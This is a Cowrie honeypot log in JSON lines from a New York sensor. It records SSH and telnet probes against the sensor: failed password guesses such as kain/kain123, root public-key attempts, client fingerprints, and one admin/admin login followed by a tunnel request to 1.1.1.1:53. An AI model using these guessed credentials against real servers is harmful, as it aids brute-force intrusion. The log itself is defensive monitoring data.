{"eventid":"cowrie.login.failed","username":"user","password":"dawgs1","message":"login attempt [user/dawgs1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:02:46.900652Z","src_ip":"2.57.121.25","session":"e845dbda2121","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:02:48.007944Z","src_ip":"2.57.121.25","session":"e845dbda2121","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.95.20.168","src_port":60776,"dst_ip":"10.17.0.5","dst_port":22,"session":"f07a8a13ab2f","protocol":"ssh","message":"New connection: 23.95.20.168:60776 (10.17.0.5:22) [session: f07a8a13ab2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:03:28.104825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:03:28.110250Z","src_ip":"23.95.20.168","session":"f07a8a13ab2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:03:28.183346Z","src_ip":"23.95.20.168","session":"f07a8a13ab2f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:d9:4f:fd:4a:a7:38:6c:0c:5d:c7:ca:ad:02:44:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCOe52jdSg3L2e4j+0yMiifKtN8JclN4CjQnClWFx9MzluP38m7HFQcYuDkKuNc8koXkwM7/wbOiHkqsu4UHGe9GTvVOMpo3ZJmi2Su9rjQA1Ushtyh4mKc2YHebjVZ9NOT0tMPwFa+iZFBEdGbeCCOsLTd3b4E9bvN6JPTq2QFvEtz+FGNKuK59U7vRPeRf0ff1G8264BwoC/x0NU/wh2h+I89X/yMURkDw7KCXGTwwS15fhpJjzsfYp6kSotUbrjmpJUlwVm/my522V7jMmBbHfVp4A0ZQrsdVOwh04u1ZIDTvnsovB9JqrWz5Jpr7PWkvx456L38vYzsNT5Y4Wx955IpW7P4U+mfNTHEwPStxizHVzhuadk9rbqtKEFGqal11eRi4rz09glYlmVBnwJPPWaZ3O15bjwnqtsdn8JpYtGIo4b5QHj51RVX5GEMWxRJxSwrPbKQBuuy7LSlJicNFrplcU3WzvMDB5dRDbmuzpbr/e6/F1skvZ3J/LrdfJtqpN5i/yI1gyRIkBKEOoRCbObixT+U/B5IrCRGGGFOGPz/xOmjXKGAFWoVefwr/Y4jEgTos6RvJjMypoMrqXnt02g5uEc1LLNTS8Z/+rCZ4rSuuONwtPNhTEOsqQq5bfPljexHtWAzGuUy0wZLjCOa1yUjQfYQqKOBDyaUIDSD+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:d9:4f:fd:4a:a7:38:6c:0c:5d:c7:ca:ad:02:44:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:03:28.519341Z","src_ip":"23.95.20.168","session":"f07a8a13ab2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:d9:4f:fd:4a:a7:38:6c:0c:5d:c7:ca:ad:02:44:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCOe52jdSg3L2e4j+0yMiifKtN8JclN4CjQnClWFx9MzluP38m7HFQcYuDkKuNc8koXkwM7/wbOiHkqsu4UHGe9GTvVOMpo3ZJmi2Su9rjQA1Ushtyh4mKc2YHebjVZ9NOT0tMPwFa+iZFBEdGbeCCOsLTd3b4E9bvN6JPTq2QFvEtz+FGNKuK59U7vRPeRf0ff1G8264BwoC/x0NU/wh2h+I89X/yMURkDw7KCXGTwwS15fhpJjzsfYp6kSotUbrjmpJUlwVm/my522V7jMmBbHfVp4A0ZQrsdVOwh04u1ZIDTvnsovB9JqrWz5Jpr7PWkvx456L38vYzsNT5Y4Wx955IpW7P4U+mfNTHEwPStxizHVzhuadk9rbqtKEFGqal11eRi4rz09glYlmVBnwJPPWaZ3O15bjwnqtsdn8JpYtGIo4b5QHj51RVX5GEMWxRJxSwrPbKQBuuy7LSlJicNFrplcU3WzvMDB5dRDbmuzpbr/e6/F1skvZ3J/LrdfJtqpN5i/yI1gyRIkBKEOoRCbObixT+U/B5IrCRGGGFOGPz/xOmjXKGAFWoVefwr/Y4jEgTos6RvJjMypoMrqXnt02g5uEc1LLNTS8Z/+rCZ4rSuuONwtPNhTEOsqQq5bfPljexHtWAzGuUy0wZLjCOa1yUjQfYQqKOBDyaUIDSD+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:03:28.522921Z","src_ip":"23.95.20.168","session":"f07a8a13ab2f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ae:eb:d3:50:13:61:e4:6d:04:be:98:d6:36:82:5f:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsVQoqtrwDtqCORuOGEokKfrz/tUC3SZBO1cBKomw5vZnUjfFeKyxiy0VY32j6gh5SzcmGHVB551r8WjRxSzeqwWJEY+aG4YBZ0iAgbnwavY385QdYa1eHSrZxsgdKKAHp2P0ahPMWu72JEE5xi73bw2tLmFr4TAZmidQhoWlvooPEl78qpf1qHNIDgzflk6ZjvdoVgdjE3LjUFrXrD2xkbKwh87E/VJnd0qUoQcGmzssnkGlhmPjq+/FTa2nemCe7Rn3Y4nKZbte0P7Ye0J+h4pm1K2jHvES+0BtxwPkCb+Tbf6k+sp+MjtSuKfAtpszyEsvFMVP+Empua25TB1aQw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ae:eb:d3:50:13:61:e4:6d:04:be:98:d6:36:82:5f:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:03:28.598805Z","src_ip":"23.95.20.168","session":"f07a8a13ab2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ae:eb:d3:50:13:61:e4:6d:04:be:98:d6:36:82:5f:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAsVQoqtrwDtqCORuOGEokKfrz/tUC3SZBO1cBKomw5vZnUjfFeKyxiy0VY32j6gh5SzcmGHVB551r8WjRxSzeqwWJEY+aG4YBZ0iAgbnwavY385QdYa1eHSrZxsgdKKAHp2P0ahPMWu72JEE5xi73bw2tLmFr4TAZmidQhoWlvooPEl78qpf1qHNIDgzflk6ZjvdoVgdjE3LjUFrXrD2xkbKwh87E/VJnd0qUoQcGmzssnkGlhmPjq+/FTa2nemCe7Rn3Y4nKZbte0P7Ye0J+h4pm1K2jHvES+0BtxwPkCb+Tbf6k+sp+MjtSuKfAtpszyEsvFMVP+Empua25TB1aQw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:03:28.602605Z","src_ip":"23.95.20.168","session":"f07a8a13ab2f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"01:b9:33:76:d5:79:5a:6e:32:d9:f9:5c:2a:0f:fb:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqDzb10MgpVIJXUcgGN1vaTqEx5eiLTucBtR6NakjqeKiXH78lxIbSal3d3SqQmKwb2/ke2JMJAhtlM35aK3TdsA4D6N79uR8lamT3XosD1rGrqNZXv9zZbYKHGAQ3U6gDXX66TWnhBBFkFKvH+PQXhTOJfjZK4TFBV/S+q6/RVtdigUKJsX8NQUHk1rQs8n777+da1hpXBzSBpy16FfDvb7zfMCtANaLjVuRLhU5dzYkK6aBozDhp3EoQ1w+9v4HiZ98KvvPEcE4AklBxHpsPY4piIoAtCz4q3hxrwrBGwK28jW9bjwVggvijfFaqC1QWE+Wax8kARANFM4An5tbhQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 01:b9:33:76:d5:79:5a:6e:32:d9:f9:5c:2a:0f:fb:8e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:03:28.674649Z","src_ip":"23.95.20.168","session":"f07a8a13ab2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"01:b9:33:76:d5:79:5a:6e:32:d9:f9:5c:2a:0f:fb:8e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqDzb10MgpVIJXUcgGN1vaTqEx5eiLTucBtR6NakjqeKiXH78lxIbSal3d3SqQmKwb2/ke2JMJAhtlM35aK3TdsA4D6N79uR8lamT3XosD1rGrqNZXv9zZbYKHGAQ3U6gDXX66TWnhBBFkFKvH+PQXhTOJfjZK4TFBV/S+q6/RVtdigUKJsX8NQUHk1rQs8n777+da1hpXBzSBpy16FfDvb7zfMCtANaLjVuRLhU5dzYkK6aBozDhp3EoQ1w+9v4HiZ98KvvPEcE4AklBxHpsPY4piIoAtCz4q3hxrwrBGwK28jW9bjwVggvijfFaqC1QWE+Wax8kARANFM4An5tbhQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:03:28.677824Z","src_ip":"23.95.20.168","session":"f07a8a13ab2f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:e9:90:f8:f5:3e:e3:5c:ee:82:23:8b:e8:97:32:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw1U+SXOeE7MglEEHbFF+6CTc41OyPDlnZDUoDin7iM0ZcCwWifbJtmaMWZUCX/chtUXsDzRgnhMGNe1cGd8tWJ2MaJfzYkodfUfrnVQRJTGFIZyMIOG6QWva9Gd39WH+z668IwRDhylZ7BgLoX5h+fX4ArFd4qoiVaKelqH7v1iSdikhihFbntHdNqkqC60EDmW88N3H7MsYDUYdK0KDjAspp1kKpx81mxgiFkCP5sp/VOAiyNAoblmF36m5J9vaIWDU8ltHgwIGl6UM9bC0Kdl1bZvdtxFkbCZ9eI47BqsCkrY+BZmYJKBduZS4bSiEkFeDJFXbmclA0cU2R5u7nQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:e9:90:f8:f5:3e:e3:5c:ee:82:23:8b:e8:97:32:f5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:03:28.749309Z","src_ip":"23.95.20.168","session":"f07a8a13ab2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:e9:90:f8:f5:3e:e3:5c:ee:82:23:8b:e8:97:32:f5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAw1U+SXOeE7MglEEHbFF+6CTc41OyPDlnZDUoDin7iM0ZcCwWifbJtmaMWZUCX/chtUXsDzRgnhMGNe1cGd8tWJ2MaJfzYkodfUfrnVQRJTGFIZyMIOG6QWva9Gd39WH+z668IwRDhylZ7BgLoX5h+fX4ArFd4qoiVaKelqH7v1iSdikhihFbntHdNqkqC60EDmW88N3H7MsYDUYdK0KDjAspp1kKpx81mxgiFkCP5sp/VOAiyNAoblmF36m5J9vaIWDU8ltHgwIGl6UM9bC0Kdl1bZvdtxFkbCZ9eI47BqsCkrY+BZmYJKBduZS4bSiEkFeDJFXbmclA0cU2R5u7nQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:03:28.752984Z","src_ip":"23.95.20.168","session":"f07a8a13ab2f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1e:01:0d:fe:c8:1d:14:21:09:3e:e0:65:5b:5d:ce:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRPnFotERoxBkwVKM395+tNitSpwtRu9bOvbizusEd49FvMPjY8nZ4eMVugBSUn1DToo7Js7hWgsG0HMMGMnpyzcbNP/4YAVkgM9N7T4P6VjHKenah0kh+tuGlGgldAptNM5EsFqk7MmDZZOWX7CjAEZxX7GlMkD1HiJjKQ6ejys1ZMMD+sSyFYF0DmqTojafnPqLrkGopHGOAffcRWjWFocjnsZDpFSBAXBMi47PKtFFuFg5OGZIXU3L738p2w8DhldKG5G/U76gqmv5A8HppFkJ2CO7/8mpgTsXEay50PCB/CuCuNw8/4a6e3ahzoqTfRuKiStkspbUok79cu0Bm4jeodG2I5JHxFUci3Y/PsE2IoYoIi05bVoQsI5M8obT+8GdFadQ3AO00BMoH57+8VNOQZaZzdhlwun8e/ZSD46f2vThoK81sPFP8Yq+itdCBWAhhKR1shZXjGhVL7Hd7k7GVger1W56XTkD91JBg4GbzWtOvF8q5y6/rClXGsLpdN901bX3G3llvuOlPXyg1m4+AAVw9IA22X3P21yG47v5rMW9G2TaysKLhLVoVnVeTm9ZkCdyRZ2Nkm/fqhnOkTZpt29DGJq3gtqSBKQD5OYSY39PuZafl32bDecfNMSsPzNNtzVyj8XIgEVjR+ECLWjiE5rAZTKSaNPwgMnl0bQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1e:01:0d:fe:c8:1d:14:21:09:3e:e0:65:5b:5d:ce:26","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:03:28.825098Z","src_ip":"23.95.20.168","session":"f07a8a13ab2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:01:0d:fe:c8:1d:14:21:09:3e:e0:65:5b:5d:ce:26","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDRPnFotERoxBkwVKM395+tNitSpwtRu9bOvbizusEd49FvMPjY8nZ4eMVugBSUn1DToo7Js7hWgsG0HMMGMnpyzcbNP/4YAVkgM9N7T4P6VjHKenah0kh+tuGlGgldAptNM5EsFqk7MmDZZOWX7CjAEZxX7GlMkD1HiJjKQ6ejys1ZMMD+sSyFYF0DmqTojafnPqLrkGopHGOAffcRWjWFocjnsZDpFSBAXBMi47PKtFFuFg5OGZIXU3L738p2w8DhldKG5G/U76gqmv5A8HppFkJ2CO7/8mpgTsXEay50PCB/CuCuNw8/4a6e3ahzoqTfRuKiStkspbUok79cu0Bm4jeodG2I5JHxFUci3Y/PsE2IoYoIi05bVoQsI5M8obT+8GdFadQ3AO00BMoH57+8VNOQZaZzdhlwun8e/ZSD46f2vThoK81sPFP8Yq+itdCBWAhhKR1shZXjGhVL7Hd7k7GVger1W56XTkD91JBg4GbzWtOvF8q5y6/rClXGsLpdN901bX3G3llvuOlPXyg1m4+AAVw9IA22X3P21yG47v5rMW9G2TaysKLhLVoVnVeTm9ZkCdyRZ2Nkm/fqhnOkTZpt29DGJq3gtqSBKQD5OYSY39PuZafl32bDecfNMSsPzNNtzVyj8XIgEVjR+ECLWjiE5rAZTKSaNPwgMnl0bQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:03:28.828384Z","src_ip":"23.95.20.168","session":"f07a8a13ab2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:03:28.900976Z","src_ip":"23.95.20.168","session":"f07a8a13ab2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.211.213.58","src_port":49214,"dst_ip":"10.17.0.5","dst_port":23,"session":"22bcb88a0f70","protocol":"telnet","message":"New connection: 117.211.213.58:49214 (10.17.0.5:23) [session: 22bcb88a0f70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:04:20.577873Z"}
{"eventid":"cowrie.session.closed","duration":13.177724838256836,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:04:33.755447Z","src_ip":"117.211.213.58","session":"22bcb88a0f70","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":37713,"dst_ip":"159.203.135.109","dst_port":22,"session":"d76343ed84fd","protocol":"ssh","message":"New connection: 213.209.159.56:37713 (159.203.135.109:22) [session: d76343ed84fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:06:23.846416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:06:23.851348Z","src_ip":"213.209.159.56","session":"d76343ed84fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:06:23.933868Z","src_ip":"213.209.159.56","session":"d76343ed84fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kain","password":"kain","message":"login attempt [kain/kain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:06:24.335622Z","src_ip":"213.209.159.56","session":"d76343ed84fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kain","password":"kain1","message":"login attempt [kain/kain1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:06:25.421674Z","src_ip":"213.209.159.56","session":"d76343ed84fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kain","password":"kain123","message":"login attempt [kain/kain123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:06:26.507694Z","src_ip":"213.209.159.56","session":"d76343ed84fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kain","password":"kain1234","message":"login attempt [kain/kain1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:06:27.593354Z","src_ip":"213.209.159.56","session":"d76343ed84fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kain","password":"kain12345","message":"login attempt [kain/kain12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:06:28.678402Z","src_ip":"213.209.159.56","session":"d76343ed84fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:06:29.767048Z","src_ip":"213.209.159.56","session":"d76343ed84fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"22e48f0328af","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: 22e48f0328af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:06:37.438851Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:06:37.547286Z","src_ip":"77.90.185.16","session":"22e48f0328af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.194.65.167","src_port":40672,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7a83de495ef","protocol":"telnet","message":"New connection: 221.194.65.167:40672 (159.203.135.109:23) [session: e7a83de495ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:10:26.915132Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63984,"dst_ip":"10.17.0.5","dst_port":22,"session":"62a96a6a6944","protocol":"ssh","message":"New connection: 87.251.64.176:63984 (10.17.0.5:22) [session: 62a96a6a6944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:10:36.060283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:10:36.064995Z","src_ip":"87.251.64.176","session":"62a96a6a6944","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:10:36.161181Z","src_ip":"87.251.64.176","session":"62a96a6a6944","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:10:36.451210Z","src_ip":"87.251.64.176","session":"62a96a6a6944","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T18:10:36.549919Z","session":"62a96a6a6944","protocol":"ssh"}
